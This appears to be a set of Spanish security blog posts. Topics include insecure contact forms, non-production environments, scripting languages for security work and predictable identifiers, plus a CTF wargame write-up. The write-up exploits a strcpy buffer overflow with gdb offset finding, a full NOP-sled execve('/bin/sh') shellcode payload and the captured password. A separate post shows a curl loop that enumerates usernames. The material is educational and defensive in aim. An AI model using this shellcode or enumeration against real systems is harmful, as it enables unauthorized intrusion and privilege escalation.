Casi todas las organizaciones tienen alguna forma de hacerles llegar comentarios en la web. En algunos se trata de un simple ‘mailto:‘ pero en otros casos nos encontramos frente a un ‘formulario de contacto‘.

Por otro lado, quizá como un vestigio de la era pre-redes sociales, todavía siguen existiendo formularios de ‘envía a un amigo‘ en muchas páginas.

Quiero compartir aquí algunas experiencias con estos formularios que, si no se hacen bien, pueden presentar ciertos riesgos.

mailbox

El principal riesgo es la posibilidad de envío de correos desde las redes y servidores del afectado de forma automatizada hacia direcciones de correo arbitrarias. Otro riesgo consiste en saturar los destinatarios internos con múltiples consultas a través de estos formularios.

En el primer caso, se puede utilizar para realizar ataques de phishing, con la ventaja de que realmente los mensajes salen de un servidor ‘confiable’.

Veamos algunos errores a la hora de diseñar estos aparentemente inofensivos formularios.

No hay CAPTCHA

Si no hay CAPTCHA o algún mecanismo que limite el uso automatizado, podemos encontrarnos con las situaciones arriba descritas de saturación de buzones internos o, en el caso de que el formulario lo permitiese, envío automatizado de mensajes.

Muchos formularios no lo incluyen porque es un coñazo para el usuario descifrar el CAPTCHA, que cada vez lo ponen más difícil.

El CAPTCHA es repetible

Hay veces, que ya me he encontrado más de una, en las que el CAPTCHA es ‘repetible’. O sea, que el sistema te permite re-utilizar los mismos datos. Normalmente suele ir asociado a que almacenan un hash de la solución en el HTML. Esto es claramente inefectivo y se puede automatizar muy fácilmente.

Nunca se debe confiar en lo que envías al navegador. Siempre tiene que haber algún chequeo en la parte del servidor.

El destinatario puede elegirse

En en caso de ‘enviar a un amigo’, el destinatario puede elegirse y, el problema recae en hasta qué punto es posible manipular el contenido.

En el caso de un formulario de contacto, ya he visto varios en los que puedes elegir al destinatario porque se codifica en campos hidden del HTML.

Se pueden elegir múltiples destinatarios

En algunos casos es posible separar por puntos y coma varios destinatarios, lo que hace que aumentemos nuestros poderes de Spammers. Imaginaos que se puede enviar hasta 50 direcciones… pues os hacéis una idea del peligro, ¿no?

El servidor envía un mensaje automático al remitente

Hay veces que el servidor envía un mensaje automático al supuesto remitente. Como ahí puedes poner cualquier dirección ‘origen’, el resultado es que realmente le estás enviando un mensaje a quién tú quieras.

El contenido puede manipularse

Este es interesante en los formularios de ‘enviar a un amigo’ es importante asegurar que el remitente no puede controlar el texto a enviar. Por ejemplo, me he encontrado formularios que deja poner la dirección de correo origen y el nombre del remitente y lo mismo para el destinatario. En este caso, si no se limita el tamaño del nombre ni se filtra (véase el siguiente epígrafe) resulta que es posible insertar un texto considerable e incluso HTML.

Igualmente, he visto casos en los que el texto estaba en un campo hidden del formulario.

En los casos de formulario de contacto está claro que el contenido debe poder ser manipulado por el usuario, pero hay que tener cuidado en evitar que pueda modificarse el título del mensaje, por ejemplo. En muchos casos, se mete como un campo hidden en el código, por lo que mejoraría nuestra capacidad para crear mensajes falsos.

Se puede modificar el enlace a la página

A veces para el formulario es importante la página origen. Por supuesto en ‘enviar a un amigo’ lo es. En el contacto, puede serlo si se trata de alguna notificación respecto a la página.

En este caso, suele ocurrir que la página se envía en un campo adicional o se toma del Referer y en ambos casos, se puede manipular.

Si se trata de una URL completa, tenemos suerte y podemos sustituirla por otra.

Si se trata de una URL relativa, dependerá de si somos capaces de insertar o no HTML para añadir nuestro propio enlace (véase el siguiente epígrafe).

El contenido no se filtra

Si no se filtra el contenido (aunque sea el nombre del usuario, el enlace, el propio mensaje, etc.) nos encontramos con la posibilidad de introducir código HTML o incluso javascript.

El éxito dependerá de cómo lea el correo el destinatario. Si lo hace en el navegador con un sitio web no muy cuidadoso (o sea, no con Gmail) podemos tener suerte. No he probado demasiados sitios pero los que utilizan un servicio web propio suelen ser más laxos en este sentido.

Si controlamos el HTML podemos meter imágenes, iframes, enlaces, código para lanzar acciones cuando el usuario pase por encima, etc.

Se pueden enviar mensajes a usuarios internos

Una gracia de seleccionar la dirección de correo es que el que la resuelve es el servidor de aplicación. Por lo tanto, se puede intentar enviar correo a usuarios locales o a listas internas.

Por ejemplo root@localhost.localdomain me ha colado alguna vez. Y si conseguimos llenar el disco a base de mensajes…

No se monitorizan los mensajes

Los mensajes que envía el servidor de la aplicación no se monitorizan de forma habitual. Suele ocurrir que si alguien aprovecha estos inofensivos formularios para enviar Spam no se da cuenta nadie. A menos que los Spammers sean tan poco cuidadosos de no dejar de mandar mensajes a saco, en cuyo caso ya saltará alguna alerta de uso de la red o alguien avisará de que está recibiendo Spam o los meterán en algunas listas negras.

Pero en definitiva, no hay monitorización que permita detectar esto pronto.

Almacenamiento online del mensaje

Lo peor que he visto ha sido un formulario de contacto que no enviaba un correo, sino que guardaba el mensaje “sin filtrar” en una base de datos Notes (sí, no es broma) a la que podías acceder siempre que quieras con el identificador correspondiente y además, enviaba un mensaje al emisor.

Así que tenemos XSS almacenado más mensaje de la fuente fidedigna al usuario para que se lo crea del todo.

Sin palabras.

Concluyendo

Pensándolo bien, lo mejor es no tener ninguno de esos formularios. Para compartir, añadid los típicos botoncicos de las redes sociales y listo.

Y para contactar con la organización pues casi mejor el mailto: o también a través de las redes sociales. Todo lo demás es meterse en problemas y, por otro lado, molestar al usuario con CAPTCHAs.

Ah, por último, yo para hacer pruebas de estas cosas siempre uso Mailinator, un servicio que te permite usar cualquier cuenta de correo que se te ocurra (siempre con sus dominios) sin necesidad de registro ni de nada. Muy útil para registrarse en sitios y que no te manden publicidad y también para hacer pruebas de envíos de mensajes.

Después de llevar ya más de 10 años en el mundo empresarial debo confesar que creo fervientemente que la magia existe. Y también los magos.

La magia se manifiesta en muchas ocasiones justo después de realizar alguna afirmación sobre una situación de seguridad. Creo que se entiende mejor con un ejemplo.

Alguien de seguridad dice que en cierto sistema hay una vulnerabilidad en el FTP que además es un servicio inseguro. Entonces aparece el mago con su “hechizo” y argumenta que “pero eso está a punto de migrarse”. Con eso… se acaba todo. El hechizo ha tenido su efecto y consigue que nada se haga. Por supuesto, una año después todo sigue igual, el FTP, la vulnerabilidad y sigue “a punto de migrarse”.

Así es la gestión de IT que tenemos. Mientras más gente haya presente más efectivo puede ser el hechizo. Como este de Wally, el “mago” de Dilbert.

1713.strip.zoom Pero bueno, este artículo no iba precisamente de esto, aunque está relacionado. Os quería hablar de un hechizo bastante común: el de los entornos.

En todas las organizaciones siempre hay diversos tipos de entornos: producción, pruebas, preproducción, desarrollo, integración, formación, etc.

El objetivo es disponer de entornos donde desarrollar, probar, romper, integrar, etc. las aplicaciones o nuevas funcionalidades que acabarán en el entorno de producción.

La idea en la mente del personal de IT es que el entorno de producción es estable y está expuesto a los usuarios (internos, de Internet, etc.) y que el resto de entornos están restringidos y son inaccesibles. Por lo tanto, si encuentras una vulnerabilidad o configuración no adecuada en un entorno que no es producción, normalmente no importa. El hechizo en este caso es “es que está en el entorno de [citar cualquier entorno que no es producción]“.

Lamentablemente, la realidad no siempre es como uno se la imagina. Y lo que te encuentras en muchos casos es la siguiente situación:

  • Varios entornos comparten redes y, en algunos casos, incluso sistemas.
  • Es posible acceder a muchos entornos de prueba, pre-producción, etc.
  • Los entornos de formación tienen usuarios/contraseñas predecibles.
  • En muchos entornos hay datos reales (a veces antiguos pero reales).
  • Las contraseñas, claves, scripts, etc. en el entorno de producción se replican en los otros entornos.

En definitiva, hay una tenue diferencia entre los entornos que, en muchos casos, desde el punto de vista de la seguridad equivale exclusivamente al nombre. Una intrusión en alguno de los entornos (aunque no sean producción) tendrá consecuencias similares. Es más, una vulnerabilidad en un entorno puede servir para afectar al entorno de producción.

A lo que quiero llegar con esto es que hay que evitar ser confundidos por la magia y analizar, realmente, hasta qué punto los entornos que no son producción se encuentran aislados y cuentan con medidas adecuadas de seguridad. Y que tan importante es aplicar dichas medidas a unos como a otros entornos. Tened mucho cuidado con ser hechizados.

¿Y vosotros? ¿Creéis en la magia? ¿Qué otros hechizos conocéis? ¿Cómo se gestionan los entornos en vuestra organización?

El otro día tuve una extraña discusión. Resulta que dos personas no se creían que, una vez autenticado en una web, sólo con el JSESSIONID pudiera acceder a esa web ya autenticado en otro equipo. WTF???

Como comprenderéis este grado de desconocimiento es GRAVE. Y más si se trata de los responsables de diseñar, configurar o programar sistemas.

Si bien está claro que no se puede saber de todo, sí hay que informarse muy bien de las tecnologías que uno usa. De la forma de usarlas, de las precauciones que hay que tener, de su rendimiento, de su funcionamiento interno, etc.

Por lo tanto, el lunes desmotivador de hoy está dedicado al desconocimiento de las tecnologías y su impacto en la seguridad protagonizada por la simpática pata de los Wonder Pets.

En fin, y para que no todo sea tristeza… Os propongo cantar conmigo la canción de los ‘Secure Pets’, listos para acudir en cualquier momento para salvar a personal de IT en peligro.

“Un programador…
que no sabe de sesiones web
esto es seriooo
hay que ayudarle
Al programador ayudemos
Al programador ayuedmos” Los Secure Pets.

Os recomiendo estos dibujitos si tenéis críos (o incluso si no) porque son geniales. Y por cierto, otra de las enseñanzas para seguridad es la canción que cantan cuando están haciendo algo: “¿Qué funciona siempre? Trabajo en equipo“. Pues eso.

Unas dudas recurrentes en el mundo de la informática son “¿qué lenguaje de scripts aprendo?” y “¿qué lenguaje de scripts uso para esto?“. Y como todo en la vida, estas discusiones están llenas de fanáticos, de medias verdades y de desconocimiento.

En el caso de dedicaros a seguridad, además, surge siempre la duda debido a que, normalmente, no somos programadores ni tampoco nos dedicamos a automatizar tareas constantemente.

Recientemente, en Security By Default ha habido una discusión similar y quería aportar aquí mi impresión al respecto. Intentaré ser, en la medida de lo posible, imparcial aunque no ocultaré lo que pienso.

Shell script

El lenguaje de scripting que todo el mundo debe saber y sobre el que no hay que discutir es shell script. Esto supone normalmente aprender bash. Aunque hay otras shells bastante usadas, tales cómo kshzsh.

La ventaja principal de la shell es la capacidad de enlazar comandos de forma rápida desde la línea de comandos por medio de ‘tuberías’. A mí me encanta hacer ‘oneliners’ para tratar ficheros, resultados de comandos, etc.

Si bien no puedes usar librerías o módulos de terceros, como indican en el artículo de SBB, sí que puedes lanzar cualquier comando del sistema. Y muchos comandos están pensados para tomar entrada estándar, escupir por la salida estándar y tienen opciones para formatear los resultados de forma que puedan ser usados por otros programas.

No es de extrañar que sh sea el mejor lenguaje puntuado en el scriptometer.

Desde el punto de vista de seguridad, es imprescindible para realizar tareas cotidianas y automatizar la ejecución y el análisis de comandos de forma sencilla.  Comandos como find, sed, awk, cut, seq, xargs, nc o curl puedes combinarlos hasta que se te acabe la imaginación.

Siempre que puedas hacer algo en shell no te compliques en hacerlo en otro lenguaje a menos que tengas alguna otra razón (rendimiento, extensibilidad, etc.).

La mayor parte de los scripts de sistema operativo están escritos en shell  script, por lo que aprenderlo sirve para poder analizarlos y conocer qué se está ejecutando (scripts de inicio, crons, scripts de administradores, etc.).

Ruby

Ruby es mi lenguaje de scripting favorito. Empecé a usarlo gracias a un artículo en Linux Magazine por el año 2001, creo recordar. Por aquel entonces yo hacía mis scripts en Perl. En el artículo de la revista descubrí este lenguaje que, decían “te hará feliz”. Intrigado, lo instalé y… tenían razón. Era un lenguaje genial, intuitivo y… te hacía sentir contento programando en él. Y la siguiente vez que mirabas un script lo entendías, cosa que no siempre ocurría con Perl.

Así que, pasé a usar únicamente Ruby en mis scripts.  Posteriormente vino el Ruby on Rails y el lenguaje alcanzó mucha más popularidad… pero asociada principalmente al desarrollo de aplicaciones web. Por lo que mucha gente piensa que no es adecuado para otra cosa. Cuando no es así, claro. Por ejemplo, os recomiendo el libro Practical Ruby for System Administration para conocer las capacidades de este lenguaje para desarrollar scripts de administración de sistemas.

Quizá el mayor impacto en seguridad sea la decisión de desarrollar Metasploit en Ruby. No sólo el framework está desarrollado en Ruby sino que, además, los módulos de metasploit (scanners, exploits, payloads, post explotation) están escritos en Ruby.

Desde luego es un incentivo para aprender este lenguaje y poder expandir su funcionalidad o entender exploits, etc.

Otro software interesante, desde el punto de vista de la seguridad, son los cada vez más usados gestores de configuración. Aunque los hay en otros lenguajes, quizá los más conocidos son puppet y chef, ambos desarrollados en Ruby.

La distribución de software y módulos se realiza, normalmente, en forma de ‘gemas’, las rubygems. Este sistema es similar a los paquetes de software del sistema operativo y hacen muy fácil poder instalarlos, actualizarlos y mantenerlos.

Una funcionalidad que uso muchísimo a diario es irb (Interactive Ruby). Con esta aplicación tienes una línea de comando que interpreta código Ruby. Es muy útil no sólo para probar trozos de tus scripts sino también para efectuar actividades de análisis puntual empleando la funcionalidad de los módulos disponibles.

Por ejemplo, la última vez que lo usé fue la semana pasada para analizar la configuración XML de un cortafuegos PaloAlto. Cargas el fichero XML como un objeto y vas haciendo queries XPath para extraer colecciones con las que listar, contar y analizar las reglas del cortafuegos.

Y como no todo puede ser color de rosa, Ruby tiene un problema y es que es lento. Probablemente el más lento de los lenguajes de script. Dicen que mejora mucho con la versión 1.9, pero aún no la he probado. De todos modos, para lo que lo uso yo tampoco es un problema muy grave.

Python

Python es el favorito de los niños. No sólo porque es un lenguaje mucho más conocido que Ruby sino también porque cuenta con el respaldo de Google. Y todo lo que toca Google se convierte en oro… (bueno, menos el Wave :) ). Que conste que mis conocimientos de programación en Python son bastante cortitos.

Yo creo que prácticamente todo el que conozco que hace alguna cosa con scripts prefiere Python. Quizá debido al desconocimiento que indico algo más arriba se tiene la impresión de que Python es mucho más versátil o ‘mejor’ que Ruby. Y aunque yo suelo tener discusiones al respecto realmente es por echar unas risas y crear cizaña.

Realmente pienso que Ruby y Python son muy similares y depende un poco de gusto personal o de que haya soporte para lo que quieres hacer en este lenguaje. Sobre esto último, es bastante común que los que usan Python esgriman el argumento de que tiene muchos módulos ya hechos para cualquier cosa. Pero vamos, que si miras, hay muchísimos también para Ruby o Perl.

Eso sí, Python es más rápido que Ruby, aunque parece que carezca de las capacidades de meta-programación extrema de este último.

Muchos empiezan en Python porque piensan que es el  ‘ganador’, aunque yo creo que lo mejor sería probarlos todos y decidir el que más nos gusta.

Desde el punto de vista de seguridad, hay multitud de mini-herramientas de seguridad escritas en Python. Quizá la más famosa sea el analizador de seguridad web w3af o el detector de SQLi sqlmap.

Además, cada vez más se ven exploits individuales escritos en este lenguaje, compitiendo directamente con Perl en este aspecto.

En definitiva, desde el punto de vista de seguridad conviene aprender, al menos, lo suficiente para entender exploits y scripts sencillos en Python.

Perl

Perl es el primer lenguaje de scripts moderno (que algunos llaman dinámicos).  Como tal tiene sus problemillas. A diferencia de Python o Ruby, que beben de lenguajes académicos, Perl es más ‘callejero’ que el resto.

Tarde o temprano os habréis encontrado con scripts Perl. Entre otras cosas, es característico por ser difícil de leer, incluso si el script lo has hecho tú mismo. Merece la pena aprender lo básico porque hay muchos exploits y herramientillas desarrolladas en Perl.

Actualmente mi impresión es que está en desuso, con preferencias por otros lenguajes más modernos.

Lua

Lua es un silencioso lenguaje de scripting enfocado en ser pequeñito y amigable, que se puede integrar fácilmente en otros entornos. No es causalidad que sea usado por múltiples entornos sin que sepas que está ahí, desde juegos on-line hasta… seguridad.

Dos de las aplicaciones de análisis de red (cada uno en su estilo) más conocidas, Wireshark y Nmap, pueden ser extendidas empleando Lua.

Particularmente, el Nmap Scripting Engine (NSE)  es básicamente Lua con librerías desarrolladas por la gente de Nmap. Si tenéis una versión relativamente nueva de Nmap echad un vistazo a /usr/local/share/nmap/scripts/ para ver las posibilidades.

Lua es un lenguaje que me cae ciertamente simpático sin una razón clara. Estoy interesado en aprenderlo sólo por trastear un poco con el NSE.

Tcl

Tcl es el típico lenguaje antiguo que nunca querrías aprender y siempre has evitado… hasta que te llega la hora.

Particularmente, en mi caso, me ha tocado aprender un poco (lo mínimo necesario) para entender y hacer alguna iRule sencillita para balanceadores BIG-IP. Estos cacharros tienen un motor de Tcl  con módulos para casi cualquier protocolo que se ejecuta para aquellos servicios que tú quieras. Si quieres saber por qué usa Tcl y si creen que fue una buena elección en su día lee este artículo.

También se usa Tcl en expect y netexpect. Para expect hace falta poca presentación.

Netexpect es similar pero para interaccionar con la red. Merece la pena echarle un ojo aunque, a decir verdad, es complicado que os sirva de algo. Echad un ojo a los ejemplos para ver las posibilidades. Entran ganas de ponerse a trastear con la red ¿eh?

Al creador (Eloy Paris) lo conocimos en la First Conference que hubo en Sevilla en 2007 y parecía muy buena gente.

Otros

Hay otros legnaujes de scripting por ahí aunque los anteriores son los más comunes, creo yo. Sin embargo, se me escapaba uno fundamental, aunque ciertamente distinto: Javascript.

Javascript se ha convertido en el lenguaje más usado. Aunque es considerado un lenguaje de scripting, realmente hasta hace poco sólo se usaba en el navegador. Como tal, es esencial entender Javascript para revisar la seguridad de una aplicación web.

Recientemente, sin embargo, con el advenimiento de node.js, empieza a ser común usarlo en la consola. De hecho existe un package manager para aplicaciones Javascript que usan node.js.

Por ejemplo, este paquete sirve para hacer auditorías de seguridad de CouchDB.

Mucho más se podría decir de este querido y odiado lenguaje pero eso es objeto de otro artículo igual más largo que este :).

Conclusiones

Sea como fuere, si trabajas en seguridad tarde o temprano tendrás que aprender algún lenguaje de scripts. Espero que estas divagaciones te sirvan para algo. En cualquier caso, siempre conviene tener un conocimiento mínimo de la sintaxis de todos los lenguajes de scripts citados.

Yo diría que, como regla mnemotécnica:

  • Aprende shell scripting bien
  • Aprende bien uno de los tres ‘principales’ (Ruby, Python o Perl) para hacer tus propios scripts y el resto lo suficiente para entender/modificar scripts ajenos
  • Si vas a trabajar intensamente con alguna herramienta de seguridad (nmap, wireshark, metasploit, w3af,  etc.) te conviene aprender el lenguaje principal de scripting asociado
  • Por último, si vas a trabajar en seguridad web, ya estás tardando en aprender javascript, al menos lo suficiente como para poder auditar una web y comprender los riesgos asociados

Y nada más por mi parte, ¿cuál es vuestro lenguaje favorito, para qué lo usas?

La seguridad en el desarrollo de aplicaciones es un oscuro arte que difícilmente puede hacerse bien. Si ya es difícil que la aplicación haga lo que se supone que tiene que hacer… que además lo haga de forma segura es un imposible.

Si además consideramos la situación actual de la tecnología web con sus múltiples posibilidades y sutilezas (pronto hablaré algo más de esto cuando termine The tangled web) la tarea se convierte en algo improbable.

Y si encima consideramos la situación de la mayor parte de los equipos de desarrollo (personal externo, rotación, becarios e inexpertos, variabilidad de requisitos, etc.) pues os podéis imaginar dónde acaba la seguridad.

Por eso, os dejo el primer lunes desmotivador de este año, para empezar con buen pié esta nueva vuelta alrededor del astro rey.

Tened en cuenta que desarrollar una aplicación que tiene que ejecutarse en un entorno de producción e interaccionar con un conjunto de servicios no tiene nada que ver con simplemente ‘programar’ en un lenguaje de programación.

Asombroso es también la diferencia entre lo que se gasta en hacer un sistema de información (podéis tirar de los números públicos) y lo que se gasta en analizar y corregir defectos de seguridad.

La mejor escena de Instinto básico para mí siempre fue esa en la que el Douglas sube las escaleras diciendo “porque yo soy…” y la Sharon Stone (sharito para los colegas) le completa la frase diciendo “impredecible”.

Dicho esto, emplear secuencias predecibles en el ámbito tecnológico puede desembocar en problemas que el diseñador no ha previsto.

Veamos algunos ejemplos de la vida real.

El otro día me encontré un servidor de streaming servido desde una aplicación web. Resulta que los enlaces a los contenidos tienen un formato numérico del tipo 0091.flv, 0067.flv, etc. Así que, con un pequeño script es posible hacer un barrido por las 10000 posibilidades, a ver qué encontramos.

Otro día distinto me dieron una cuenta de usuario para hacer unas pruebas y tenía una nomenclartura tal como esta: thx1138. Hmmm. Total que probando, todos los usuarios del sistema eran del tipo thxNNNN. Así que es trivial encontrar nuevos usuarios para otras felonías.

Hay cierta organización que tiene un conjunto de servidores cuyos nombres son del tipo wsNNN. Por lo que, para descubrir servidores sólo hay que iterar entre las 1000 posibilidades.

En otro sitio vi que había una aplicación web que hacía de portal de entrada para otras aplicaciones. Cada usuario veía las aplicaciones que le correspondían en base a su perfil… pero claro, se trataba de un número secuencial, por lo que era fácil descubrir otras aplicaciones a las que, en principio, no tenías acceso.

Uno clásico es el directorio lleno de ficheros generados por una aplicación al que te dan acceso directo. Y resulta que es un tmpNNNNNNNN.pdf o similar. Pues nada, a probar ahí a ver si encontramos otros PDFs.

Otro clásico es la publicación de aplicaciones web de desarrollo o páginas borrador en el entorno de producción, disponibles a quién sepa la URL. Cuando es predecible, siempre aparece al que se le ocurre probar. Por ejemplo, si la aplicación es /aplicacion2011, ¿existira /aplicacion2012? Si la noticia es news20111110… ¿existirá news20111111?

El mayor de los peligros de este tipo de pensamiento (aparte de la enumeración) es que, a veces, hay recursos que el diseñador piensa que están protegidos porque no son ‘enlazados’ desde ningún sitio. Pero claro, si simplemente iterando eres capaz de encontrarlos…

Para los que no la conozcáis una herramienta muy útil para estos casos es seq. Por ejemplo, si queremos generar una secuencia del 1 al 10:

$ seq 1 10
1
2
3
4
5
6
7
8
9
10

O si queréis algo más elaborado: por ejemplo, empezar en 0000 hasta 1138 de dos en dos, añadiendo el thx y con cuatro digitos rellenando con ceros si hace falta.

$ seq -f 'thx%04g' 0000 2 1138
thx0000
thx0002
thx0004
thx0006
thx0008
thx0010
thx0012
thx0014
thx0016
thx0018
...

Para usar esto, por ejemplo, en una secuencia de comandos, podemos hacer lo siguiente:

$ for i in `seq -f 'thx%04g' 0000 2 1138`
> do
> curl -siLk https://lucas.film/user=$i
> done

¿Qué hacemos para no ser predecibles? Pues pensar un poco cada vez que vayamos a nombrar muchos elementos. En ciertos casos es imposible o inconveniente, pero en otros… es fácil.

En el caso del streaming o de las aplicaciones, o nombres de ficheros en general, es posible emplear identificadores universalmente únicos (UUID) que son difíciles de predecir, adivinar o probar por fuerza bruta.

Todos los lenguajes disponen de librerías UUID para generar vuestros nombres aleatorios irrepetibles. De hecho, existe un comando uuid que podéis instalar en vuestra distro favorita o descargar de OSSP.

Los problemas de secuencias predecibles han causado muchísimos problemas en redes. Tanto es así que en OpenBSD fueron los primeros en generar números aleatorios para todo, desde PIDs a números de secuencia TCP. Eso les ha salvado de algunos problemas que han tenido otros sistemas operativos.

Recordad diseñar siempre cualquier tipo de conjunto de elementos nominales para evitar secuencias evidentes que nos hagan tan predecibles como Michael Douglas en Instinto básico.

Continuando con la saga, y después de muchos segfaults por fin he conseguido pasar el nivel 3 de este juego, que os recomiendo para desempolvar esos conocimientos de ‘bajo nivel’.

A continuación os cuento las claves para pasar este nivel.

LEVEL3

Comenzamos ejecutando /wargame/level3 a ver qué hace.

level3@narnia:/wargame$ ./level3
Usage: ./level3 argument
level3@narnia:/wargame$ ./level3 sevillasecandbeer
sevillasecandbeerlevel3@narnia:/wargame$

Parece que simplemente escupe el primer argumento. Vemos el código.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
int main(int argc, char * argv[]){
        char buf[128];
 
        if(argc == 1){
                printf("Usage: %s argument\n", argv[0]);
                exit(1);
        }
        seteuid(1004);
        strcpy(buf,argv[1]);
        printf("%s", buf);
 
        return 0;
}

Está claro que lo que hay que hacer es aprovechar que usan strcpy, una función que sabemos que es muy peligrosa porque no limita la entrada de datos al buffer.

En el nivel anterior, la idea era aprender a crear una shellcode., en este nivel se trata de aprender a ejecutarlo explotando un buffer overflow.

Lo primero es documentarse un poco. El famoso (y viejo) artículo de Aleph One ‘Smashing The Stack For Fun And Profit‘ y este tutorial fueron de gran ayuda.

Así que empecé a probar con gdb para intentar machacar la dirección de vuelta de la llamada a la función strcpy (tuve que probar muchas más veces :) ).

$ gdb /wargame/level3
(gdb) run `perl -e 'print "A"x138'`BBBB
Starting program: /wargame/level3 `perl -e 'print "A"x138'`BBBB
 
Program received signal SIGSEGV, Segmentation fault.
0xb7004242 in ?? ()
 
(gdb) run `perl -e 'print "A"x140'`BBBB
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /wargame/level3 `perl -e 'print "A"x140'`BBBB
 
Program received signal SIGSEGV, Segmentation fault.
x42424242 in ?? (

Una vez conocido el número de caracteres que hay que insertar para desbordar la dirección de retorno, hay que pensar con qué lo rellenamos. Lo mejor es incluir una shellcode, la que ya usamos en el nivel anterior y rellenar con NOPs el resto.

El siguiente volcado de memoria nos enseña cómo queda tras el desbordamiento anterior con ‘A’s y ‘B’s. (los 0x41414141).

gdb) x/150 $esp
0xbffff9c0:     0x00000000      0xbffffa34      0xbffffa40      0x00000000
0xbffff9d0:     0xb7fdfff4      0x00000000      0xb8000cc0      0xbffffa08
0xbffff9e0:     0xbffff9c0      0xb7ec7e6d      0x00000000      0x00000000
0xbffff9f0:     0x00000000      0xb7ff6090      0xb7ec7ded      0xb8000ff4
0xbffffa00:     0x00000002      0x08048350      0x00000000      0x08048371
0xbffffa10:     0x08048404      0x00000002      0xbffffa34      0x080484e0
0xbffffa20:     0x08048490      0xb7ff6c40      0xbffffa2c      0xb80014e4
0xbffffa30:     0x00000002      0xbffffb3f      0xbffffb4f      0x00000000
0xbffffa40:     0xbffffbe0      0xbffffbf0      0xbffffc00      0xbffffc1f
0xbffffa50:     0xbffffc32      0xbffffc3e      0xbffffeb9      0xbffffec5
0xbffffa60:     0xbffffef2      0xbfffff08      0xbfffff17      0xbfffff24
0xbffffa70:     0xbfffff2f      0xbfffff38      0xbfffff4f      0xbfffff61
0xbffffa80:     0xbfffff69      0xbfffff78      0xbfffffaa      0xbfffffca
0xbffffa90:     0x00000000      0x00000020      0xb7fea400      0x00000021
0xbffffaa0:     0xffffe000      0x00000010      0x0febfbff      0x00000006
0xbffffab0:     0x00001000      0x00000011      0x00000064      0x00000003
0xbffffac0:     0x08048034      0x00000004      0x00000020      0x00000005
0xbffffad0:     0x00000007      0x00000007      0xb7feb000      0x00000008
0xbffffae0:     0x00000000      0x00000009      0x08048350      0x0000000b
0xbffffaf0:     0x000003eb      0x0000000c      0x000003eb      0x0000000d
0xbffffb00:     0x000003eb      0x0000000e      0x000003eb      0x00000017
0xbffffb10:     0x00000000      0x0000000f      0xbffffb2b      0x00000000
0xbffffb20:     0x00000000      0x00000000      0x69000000      0x00363836
0xbffffb30:     0x00000000      0x00000000      0x00000000      0x2f000000
0xbffffb40:     0x67726177      0x2f656d61      0x6576656c      0x4100336c
0xbffffb50:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb60:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb70:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb80:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffb90:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffba0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffbb0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffbc0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffbd0:     0x41414141      0x41414141      0x42414141      0x00424242
0xbffffbe0:     0x4c454853      0x622f3d4c      0x622f6e69      0x00687361
0xbffffbf0:     0x4d524554      0x7263733d      0x2d6e6565      0x00656362
0xbffffc00:     0x5f485353      0x45494c43      0x383d544e      0x34312e39
0xbffffc10:     0x2e362e30      0x34352032

Los NOPs son instrucciones que… no hacen nada. Su código hexadecimal es 90. Vamos a poner una dirección de retorno que caiga en medio, por ejemplo: 0xbffffb60.

Starting program: /wargame/level3 `echo -e "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23\x41\x41\x41\x41\x42\x42\x42\x42\x50\xfb\xff\xbf"`
sh-3.1$ ls
level1    level2    level3    level4    level5    level6    level7    level8
level1.c  level2.c  level3.c  level4.c  level5.c  level6.c  level7.c  level8.c
sh-3.1$ id
uid=1003(level3) gid=1003(level3) groups=1003(level3)
sh-3.1$ exit

Parece que lo hemos conseguido. Sin embargo, como se ejecuta dentro de gdb aún no tenemos el uid efectivo de level4.

Volvemos a probar desde la línea de comandos.

level3@narnia:/wargame$ EGG=`echo -e "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23\x41\x41\x41\x41\x42\x42\x42\x42\x60\xfb\xff\xbf"`
level3@narnia:/wargame$ ./level3 $EGG
sh-3.1$ id                  
uid=1003(level3) gid=1003(level3) euid=1004(level4) groups=1003(level3)
sh-3.1$ cat /home/level4/.passwd
ohb%a6Oh

Y ya tenemos la contraseña para el próximo nivel, que es curioso.

Hoy me ha hecho reir esta frase que comenzaba la sección de seguridad de un estándar de desarrollo de un organismo.

“La seguridad es una de las áreas de la informática que más se suelen abandonar, pero que a la larga causan más problemas.”
Aunque a primera vista parece una frase positiva si os fijáis describe una triste realidad y es que hay áreas de la informatica que se abandonan, de las cuales la seguridad es una de las que más se suelen abandonar.

